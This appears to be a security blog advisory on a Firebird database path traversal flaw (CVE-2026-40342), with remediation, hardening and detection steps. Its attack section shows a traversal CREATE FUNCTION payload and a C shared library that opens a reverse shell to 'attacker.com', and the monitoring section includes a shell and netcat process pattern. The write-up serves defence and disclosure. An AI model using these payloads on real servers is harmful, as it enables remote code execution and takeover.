Vulnerability Analysis

CVE-2026-40342: Firebird Database CVSS 10.0 Path Traversal RCE — What It Is & How to Fix It

Executive Summary

CVE-2026-40342 is a maximum-severity (CVSS 10.0) path traversal vulnerability in the Firebird open-source relational database that allows an authenticated attacker with CREATE FUNCTION privileges to load an arbitrary shared library from anywhere on the host filesystem, achieving full remote code execution as the operating system account running the Firebird server process. Patches are available in Firebird 3.0.14, 4.0.7, 5.0.4, and 6.0 — organizations running any earlier release should treat this as an emergency upgrade.


1. What Is This Vulnerability?

Firebird supports user-defined functions (UDFs) through an external engine plugin system. When a database user executes a CREATE FUNCTION statement that includes the ENGINE keyword, the Firebird server constructs a filesystem path by concatenating a fixed plugin directory with the caller-supplied engine name, then calls dlopen() (Linux/macOS) or LoadLibrary() (Windows) on the resulting path to load the plugin module.

The root cause is a complete absence of input validation on the engine name before it is embedded in the path. Because Firebird does not strip path separators (/, \) or parent-directory components (..) from the engine name, an attacker can supply a traversal sequence that resolves to any .so or .dll file already present on the server's filesystem — or one they have previously written there through another means (e.g., a world-writable upload directory, a writable /tmp, or a compromised shared storage mount).

Attack Vector

A typical exploitation payload looks like this:

-- Upload a malicious shared library to /tmp/evil.so first,
-- then trigger it via a crafted CREATE FUNCTION statement:

CREATE FUNCTION pwn_server (x INT) RETURNS INT
EXTERNAL NAME 'func_name'
ENGINE '../../../../../../tmp/evil';

When the server processes this DDL statement, it builds the path:

/opt/firebird/plugins/../../../../../../tmp/evil.so

which resolves to /tmp/evil.so. The dynamic linker loads the file and immediately executes its _init() or constructor functions — before Firebird performs any further validation — running attacker-controlled code in the Firebird server process.

A minimal malicious shared library sufficient to demonstrate the issue:

// evil.c — compile with: gcc -shared -fPIC -o evil.so evil.c
#include <stdlib.h>

__attribute__((constructor))
static void pwn(void) {
    // Runs as the OS user owning the firebird process (often 'firebird' or root)
    system("id > /tmp/pwned.txt && bash -i >& /dev/tcp/attacker.com/4444 0>&1");
}

Real-World Impact

No confirmed in-the-wild exploitation has been publicly disclosed as of April 24, 2026; however, the ease of exploitation combined with the maximum CVSS score means weaponized payloads will emerge rapidly now that the advisory is public. Firebird is embedded in hundreds of commercial and open-source applications (ERP systems, medical records software, POS terminals, government databases), meaning the attack surface is broader than the database's direct visibility might suggest.


2. Who Is Affected?

Branch Vulnerable Versions Patched Version
Firebird 3.x 3.0.13 and earlier 3.0.14
Firebird 4.x 4.0.6 and earlier 4.0.7
Firebird 5.x 5.0.3 and earlier 5.0.4
Firebird 6.x None (fix included from release) 6.0 (safe)

Operating Systems: Linux, macOS, Windows — all platforms are equally affected.

Authentication requirement: The attacker must hold an authenticated database session and have been granted the CREATE FUNCTION or CREATE ANY FUNCTION privilege. This is a lower bar than it sounds — many Firebird deployments grant broad DDL rights to application accounts, and any legitimate internal user or compromised credential is sufficient.

No network privilege required: The attack is fully remote as long as the Firebird port (default TCP 3050) is reachable and a valid credential exists.


3. How to Detect It (Testing)

Manual Testing Steps

  1. Check your Firebird version:

    # On Linux/macOS
    /opt/firebird/bin/isql -z
    # Look for "Firebird/linux (access method), version WI-V5.0.3..." or similar
    
    # Alternatively query the engine:
    SELECT RDB$GET_CONTEXT('SYSTEM', 'ENGINE_VERSION') FROM RDB$DATABASE;
    
  2. Identify accounts with CREATE FUNCTION rights:

    SELECT DISTINCT P.RDB$USER, P.RDB$PRIVILEGE
    FROM RDB$USER_PRIVILEGES P
    WHERE P.RDB$PRIVILEGE IN ('C', 'A')   -- C = CREATE, A = ALL
      AND P.RDB$OBJECT_TYPE = 5;          -- 5 = function
    
  3. Check whether external engine functions already exist (possible prior exploitation):

    SELECT RDB$FUNCTION_NAME, RDB$ENGINE_NAME, RDB$ENTRYPOINT
    FROM RDB$FUNCTIONS
    WHERE RDB$ENGINE_NAME IS NOT NULL;
    

    Any row containing ../ or absolute paths in RDB$ENGINE_NAME is a strong indicator of exploitation.

  4. Attempt proof-of-concept path traversal (authorized penetration testing only): Write a harmless test library, attempt the traversal CREATE FUNCTION statement, and observe whether it succeeds without error on an unpatched server.

Automated Scanning

  • Tool: Nuclei (ProjectDiscovery)
  • Template check: Watch the community template feed for CVE-2026-40342; Nuclei templates for new critical CVEs typically appear within 24–48 hours of disclosure.
  • Nessus/Tenable: Plugin ID expected under Firebird Database Multiple Vulnerabilities (April 2026); verify your plugin feed is current.
  • Greenbone/OpenVAS: NVT for CVE-2026-40342 should be available via feed update.

Version detection command (Nmap):

nmap -sV -p 3050 --script firebird-info <target>

Compare reported version against patched release list above.

Code Review Checklist

  • Confirm the UdfAccess parameter in firebird.conf is not set to Full (see hardening section)
  • Review all CREATE FUNCTION ... ENGINE statements in migration scripts and stored procedures for suspicious engine names
  • Confirm application database accounts are not granted CREATE ANY FUNCTION unnecessarily
  • Inspect /opt/firebird/plugins/ (Linux) or equivalent for unexpected .so/.dll files
  • Review filesystem permissions on the Firebird plugins directory — it should not be world-writable

4. How to Fix It (Mitigation)

Step-by-Step Remediation

  1. Identify all Firebird instances in your environment:

    # Linux: find running firebird processes
    ps aux | grep -i firebird
    
    # Check installed version
    dpkg -l firebird* 2>/dev/null || rpm -qa | grep firebird
    
  2. Back up all databases before upgrading:

    /opt/firebird/bin/gbak -backup -user SYSDBA -password masterkey \
        /path/to/database.fdb /backup/database_$(date +%F).fbk
    
  3. Apply the patch — upgrade to a fixed release:

    Debian/Ubuntu:

    sudo apt-get update
    sudo apt-get install firebird3.0-server   # or firebird4 / firebird5
    

    RHEL/CentOS/Fedora:

    sudo dnf upgrade firebird
    

    Windows: Download the signed installer from https://firebirdsql.org/en/firebird-5-0/ and run in-place upgrade.

    Manual build / custom install: Download the patched source release from https://github.com/FirebirdSQL/firebird/releases and recompile following the official build guide.

  4. Restart the Firebird service:

    sudo systemctl restart firebird
    # or on classic mode:
    sudo service firebird restart
    
  5. Verify the upgraded version:

    /opt/firebird/bin/isql -z 2>&1 | head -1
    

    Confirm version is 3.0.14, 4.0.7, 5.0.4, or 6.0.

Interim Workaround (If Immediate Patching Is Not Possible)

If you cannot patch immediately, restrict external UDF access in firebird.conf:

# firebird.conf — restrict plugin loading
UdfAccess = None

# Also restrict which directories Firebird can access
ExternalFileAccess = None

Then restart Firebird. This disables external engine UDFs entirely, which may break applications that rely on them — evaluate carefully before applying in production.

Configuration Hardening

Regardless of patching, apply the following hardening to firebird.conf:

# Restrict UDF and external function access to a specific directory only
UdfAccess = Restrict /opt/firebird/UDF

# Disable external table file access if not needed
ExternalFileAccess = None

# Restrict trace services to administrators
TracePlugin = fbtrace

# Enforce wire encryption
WireCrypt = Required

# Disable legacy authentication if environment allows
AuthServer = Srp256
AuthClient = Srp256, Legacy_Auth

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: Run version query after upgrade and confirm patched version number.
  • Scenario B: Attempt the path traversal CREATE FUNCTION statement on the patched server — it should return an error such as Engine name contains invalid characters or Path traversal not permitted.
  • Scenario C: Verify that legitimate external engine UDFs (if used by your application) continue to function correctly after the upgrade.

Security Test Cases

Test Case 1: Verify the traversal is blocked

  • Precondition: Apply patch (Firebird 3.0.14 / 4.0.7 / 5.0.4)
  • Steps:
    CREATE FUNCTION test_traversal (x INT) RETURNS INT
    EXTERNAL NAME 'harmless_func'
    ENGINE '../../../../../../tmp/test_lib';
    
  • Expected Result: Server returns an error rejecting the crafted engine name; no library load attempt is made.

Test Case 2: Verify no library was loaded by previous exploitation attempt

  • Precondition: Run on target system post-upgrade
  • Steps: Check for unexpected files written to /tmp/, /var/tmp/, or the Firebird data directory; inspect OS process list for unexpected child processes spawned under the firebird user.
  • Expected Result: No anomalous files or processes found.

Automated Tests

Use a simple Python health-check after upgrade:

import fdb  # pip install fdb
import pytest

def test_traversal_blocked():
    con = fdb.connect(
        host='localhost',
        database='/path/to/test.fdb',
        user='SYSDBA',
        password='masterkey'
    )
    cur = con.cursor()
    try:
        cur.execute("""
            CREATE FUNCTION pentest_traversal (x INTEGER) RETURNS INTEGER
            EXTERNAL NAME 'func'
            ENGINE '../../../../../../tmp/evil'
        """)
        # Should NOT reach here on a patched server
        assert False, "VULNERABLE: traversal not blocked!"
    except fdb.fbcore.DatabaseError as e:
        # Patched server should raise an error
        assert 'engine' in str(e).lower() or 'invalid' in str(e).lower(), \
            f"Unexpected error: {e}"
    finally:
        con.close()

6. Prevention & Hardening

Best Practices

  • Principle of least privilege on DDL: Never grant CREATE FUNCTION or CREATE ANY FUNCTION to application service accounts. Reserve DDL privileges for dedicated migration/admin accounts that are only used at deploy time.
  • Network segmentation: Firebird's default port (TCP 3050) should never be exposed directly to the internet or untrusted networks. Place it behind a firewall and allow access only from application servers.
  • Run Firebird as a non-root user: The built-in firebird OS user is unprivileged; confirm your service unit file does not run as root. This limits the blast radius of any code execution to the database process account.
  • Filesystem isolation: Use OS-level namespaces or containers to restrict the files visible to the Firebird process. A compromised Firebird instance that cannot read /etc/shadow or write to /usr/bin is far less useful to an attacker.
  • Regular plugin directory audits: Establish a baseline of expected .so/.dll files in the Firebird plugins directory and alert on any additions.

Monitoring & Detection

Watch for these indicators of compromise (IoCs) in your SIEM or log aggregation:

  1. Firebird log entries: Any error or warning referencing ENGINE names containing .., /, or \ — even on a patched system these should be treated as active exploitation attempts.

    grep -i "engine\|CREATE FUNCTION\|path" /opt/firebird/firebird.log
    
  2. Unusual child processes: Firebird should not spawn shell processes. Alert on bash, sh, cmd.exe, or powershell.exe appearing as children of the Firebird server PID.

    # Quick check: look for shell processes owned by the firebird user
    ps -u firebird -o pid,ppid,cmd | grep -E "bash|sh|python|perl|nc|ncat"
    
  3. Network connections from the DB server: Outbound connections originating from the Firebird host (particularly on non-standard ports) that were not present before may indicate a reverse shell.

  4. New .so/.dll files in world-writable directories: Set up auditd (Linux) or File Integrity Monitoring (FIM) on /tmp, /var/tmp, /opt/firebird/plugins/, and the Firebird data directory.

    # Linux auditd rule — monitor plugin directory for new file creation
    auditctl -w /opt/firebird/plugins/ -p wa -k firebird_plugin_watch
    
  5. SIEM correlation rule: Alert on any Firebird client session that executes a DDL statement (CREATE, ALTER, DROP) outside of scheduled maintenance windows or from unexpected source IPs.


References

Latest from the blog

See all →